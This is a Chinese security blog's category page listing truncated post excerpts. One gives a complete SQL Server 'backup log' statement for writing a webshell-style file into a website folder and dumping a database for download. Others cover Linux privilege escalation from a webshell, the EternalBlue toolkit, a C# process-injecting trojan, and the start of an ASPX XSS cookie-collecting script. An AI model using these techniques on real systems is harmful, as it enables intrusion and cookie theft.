网络安全 - 西宁威势电子信息服务有限公司

SQL SERVER 日志备份shell语句

今天要用到，突然一下子想不起来了，写这里，以防下次又想不起来 --drop table tt;backup log job1203 to disk= 'F:\网站\人才网\ys_admin\files\2022-09\20220906190916860.rar' with init;create table tt(a text);insert into tt(a) values('aaaa');backup log job1203 to disk= 'F:\网站\人才网\ys_admin\files\2022-09\20220906190916860.txt';drop table tt; 打包数据库 backup database Erp to disk='D:\Web\Erp\wwwroot\Content\_xxx.rar'; 下载后在本地还原即可。 ...

1065 次

2022/9/6

[原创] Linux辅助提权工具，一款方便又牛叉的自动脚本:linux-exploit-suggester.sh

我们在入侵linux时，如果得到了一个低权限的webshell，这时候我们想进行提权操作，我们该怎么操作呢？对于经验丰富的，或是手上有0day在手hacker来说可能不是什么难事，想必以下是大家习惯使用的手法：搜索相关漏洞，如: searchsploit Tomcat | sort -n findsploit Tomcat 7.0.42 MSF查找漏洞： search cve:2019 type:exploit 或 search cve:2019 type:exploit arch 386 或 edb选项匹配EXP-DB的ID（search -help） MSF查找漏洞WINDOWS漏洞： search cve:2019 type:exploit ...

1511 次

2019/3/12

[原创]NASA方程式黑客工具包之初偿鲜

---永恒之蓝实战篇前言：很早就拿到这个工具包了，兴奋之余马上去测试，但是由于一直没有合适的实验环境，加上工具发布了两个版本，而我拿到的是最早的版本，这个版本有一个命令是无法运行的，所以测试工作一直未能进行下去，加上工作忙，没有太多时间研究，就这样过了好多天，后来比特病毒发作，同学找我帮忙，又让我来了兴趣，又重新下载了新版本，于是才有了这往篇日志，回过头一看，其实这个缺少的命令对实验环境是没有什么太大的影响的，研究了一个晚上（半夜两点 ...

1225 次

2017/5/21

[原创] 用C#写一个简单的木马

前两天看某文章时偶然读到最近有人还在用几年前的技术在杂志上投稿装B ，其原理就是c#调用系统API接口，用CreatRemoteThread创建远程线程，把自己注入到其它进程中去，说是360免杀之类的，于是我也有了一种强烈的装B欲望。几年以前用VC++6写过类似的功能，但是即便不加什么恶意指令，即使你是良民，360还是一顿乱杀，这TMD太让人无语了！现在是.NET时代了，突然来了兴致，于是花了两个双休日重拾昨日的兴趣，写了这个小玩具，其 ...

1356 次

2014/5/21

Tomcat 安装默认目录

以Linux 分支 Ubuntu Server 为例。一、相关目录及作用说明 /etc/tomcat6 - 全局配置 /usr/share/tomcat6/ - 程序主目录 /usr/share/tomcat6/conf/Catalina/localhost/ - 本机部署的 Catalina 配置 /var/lib/tomcat6/ - 工作主目录 /var/lib/tomcat6/webapps - （应用文件实际存放于此） /var/lib/tomcat6/work - 动态工作目录（动态编译的 .jsp 存放于此）二、添加管理用户在 /etc/tomcat6 下是 tomcat 的全局配置，这里需要修改 tomcat-users.xm ...

1403 次

2012/5/21

XSS 跨站接收脚本 GetCookies.aspx

<%@ Page Language="C#" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Text" %> <%@ Import Namespace="System.IO" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { try { string filePath = Server.MapPath("./")+"cookies.txt"; if (System.IO.File.Exists(filePath) == false) ...

1496 次

2007/3/20